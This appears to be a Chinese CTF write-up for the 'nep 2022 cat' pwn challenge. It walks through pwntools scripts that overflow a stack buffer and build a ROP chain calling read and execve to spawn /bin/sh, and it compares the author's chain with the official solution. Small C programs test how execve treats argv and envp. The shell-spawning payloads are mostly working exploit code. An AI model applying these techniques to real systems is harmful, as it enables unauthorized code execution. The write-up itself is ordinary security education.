当前位置:网站首页>nep 2022 cat
nep 2022 cat
2022-07-28 23:58:00 【SquirreI7】
摸鱼的时候看了看
先布置execve的参数
再写execve的gadget
再利用add esp 0x20这个gadget代替原本常用的pop 3 reg
只要注意到函数开头的抬栈操作一切都好说了…
ret = 0x08048127
sys_write = 0x08048110
sys_read = 0x080480F0
aGoodLuck = 0x0804B000
addr = 0x0804B000 + 0x500 # binsh's addr
r_w = 0x08048130
add_esp_20__ret = 0x08048190
start = 0x080481A0
execve = 0x08048115
def exp(i):
pl = 0x10 * b'a' + p32(sys_read) + p32(start)
pl+= p32(0) + p32(addr) + p32(len("/bin/sh"))
pl+= p32(addr) + p32(0) + p32(0) # addr store "binsh"'s' addr
gdb.attach(p)
se(pl)
ri()
se(b"/bin/sh")
pl = 0x10 * b'a' + p32(start)
pl+= p32(0)*5 + p32(execve)
# gdb.attach(p)
ri()
se(pl)
pl = 0x10*b'a' + p32(sys_write) + p32(add_esp_20__ret)
pl+= p32(1) + p32(aGoodLuck) + p32(11)
ri()
se(pl)
if __name__=="__main__":
exp(1)
ir()

官解
from pwn import*
p=process('./main')
sys_read = 0x080480f0
sys_execve = 0x08048115
binsh = 0x0804B000+0x200 # anywhere in data section
payload = b"b"*0x10 + p32(sys_read) + p32(sys_execve) + p32(0) + p32(binsh)
payload += p32(binsh + 7) + p32(0) * 3 + b"\x00\x00"# 50 byte overflow
payload += b"/bin/sh\x00" + b"\x00" * 3 # 11 byte
# gdb.attach(p)
p.send(payload)
p.interactive()
看了官方的wp才知道可以这么玩
一次性发出所有数据 反正也是在缓冲区 没必要发两次
最重要的是execve
平常都是要构造execve('/bin/sh',NULL,NULL)
但是这里是execve('/bin/sh',ptr,NULL); *ptr = NULL
实践证明 execve执行binsh并不一定要两个NULL
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char ** argv){
printf("Hello \n");
void *ptr = NULL;
ptr = "squ";
execve("/bin/sh", (char * const*)&ptr, 0);
}
但是如果argv中有两个非NULL参数的时候 就会出现问题
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char ** argv){
printf("Hello \n");
char * const* ptr = NULL;
char * p[] = {
"squ",
// "irrel", 去掉注释没法拿shell 而注释掉就能拿shell
NULL
};
ptr = p;
execve("/bin/sh", ptr, ptr);
}
看一个例子
#include <stdio.h>
#include <stdlib.h>
int
main(){
;
printf("Hello \n");
char * const argv[] = {
"Yoiko",
"-al",
"/etc/passwd",
NULL,
};
char * envp[] = {
"squ",
"irrel",
NULL
};
execve("/bin/ls", argv, NULL);
}
正常来讲argv的第一个参数应该是所执行的任务名字(约定俗成
这里特意换成毫无关系的命令 因为用不到
char * const argv[] = {
"Yoiko",
"-al",
"/etc/passwd",
NULL,
};
所以execve("/bin/sh",argv,envp) 在极限情况下 argv指向的数组可以有一个成员 这个成员不被使用 毫无关系
但是不能超过两个 因为第二个就要被执行了 但是sh是不带参数的
但是这题很难找到一个二级指针
所以只需要argv和envp的指针都指向NULL即可 而并不需要都置NULL 这样解出这题就方便很多了
(之前有个大佬说execve的argv和envp都需要两个NULL让我深信不疑 果然实践出真知)
from pwn import*
p=process('./main')
sys_read = 0x080480f0
sys_execve = 0x08048115
binsh = 0x0804B000+0x200 # anywhere in data section
gGoodLuck = 0x0804B000
payload = b"b"*0x10 + p32(sys_read) + p32(sys_execve) + p32(0) + p32(binsh)
payload += p32(binsh + 7) + p32(binsh + 7) + p32(0) * 2 + b"\x00\x00"# 50 byte overflow
payload += b"/bin/sh\x00" + b"\x00" * 3 # 11 byte
# gdb.attach(p)
p.send(payload)
p.interactive()
边栏推荐
- How to create a custom 404 error page in WordPress
- 返回*this的成员函数
- Implement Lmax disruptor queue from scratch (VI) analysis of the principle of disruptor solving pseudo sharing and consumers' elegant stopping
- [raspberry pie] how does the windows computer connect with raspberry pie
- Have you seen the management area decoupling architecture? Can help customers solve big problems
- Connect with Alipay payment
- [Commons lang3 topic] 002 randomutils topic
- solidity实现智能合约教程(5)-NFT拍卖合约
- Charles -- 从0-1教你如何使用抓包工具
- 散列表 ~
猜你喜欢

ACM SIGIR 2022 | interpretation of selected papers of meituan technical team
![[unity] configure unity edit C as vscode](/img/f6/5675a96115fb97737c8b36a3fcc6ed.png)
[unity] configure unity edit C as vscode

Interview shock 69: is TCP reliable? Why?

可视化全链路日志追踪
![[AD learning] the course of PCB drawing in this marine vehicle competition](/img/37/211a0557848f6922fda7a69a114923.png)
[AD learning] the course of PCB drawing in this marine vehicle competition

分类预测 | MATLAB实现TCN时间卷积神经网络的时序分类预测

Spark 3.0 中七个必须知道的 SQL 性能优化

How to create a custom 404 error page in WordPress

SystemVerilog-连接和复制运算符
![“index [hotel/jXLK5MTYTU-jO9WzJNob4w] already exists“](/img/f2/37a1e65eb1104d72128f96fc5d9c85.png)
“index [hotel/jXLK5MTYTU-jO9WzJNob4w] already exists“
随机推荐
[Commons lang3 topic] 004- numberutils topic
In the second round, 1000 okaleido tiger were sold out in one hour after logging in to binance NFT again
Visual full link log tracking
Hash table~
Consumer unit 消费单元
【Web开发】Flask框架基础知识
Self made | a 16 bit RISC architecture CPU is self-made by hand
[Commons lang3 topic] 001 stringutils topic
Wechat campus bathroom reservation for the finished product of applet graduation design (7) mid term inspection report
Transfer: cognitive subculture
状态压缩dp-蒙德里安的梦想
【目标检测】YOLOR理论简介+实践测试VisDrone数据集
Copy the table in word to wechat as a picture and send it
Inftnews | yuanuniverse shopping experience will become a powerful tool to attract consumers
Return the member function of *this
Kwai focuses on regulating the number maintenance behavior in the ways of handling and manuscript washing, and how to purify the content ecology on the we media platform
A new generation of ultra safe cellular battery, Sihao aipao, is on the market, starting from 139900
day8
深度学习 | MATLAB实现TCN时间卷积神经网络spatialDropoutLayer参数描述
Talk about the cross end technical scheme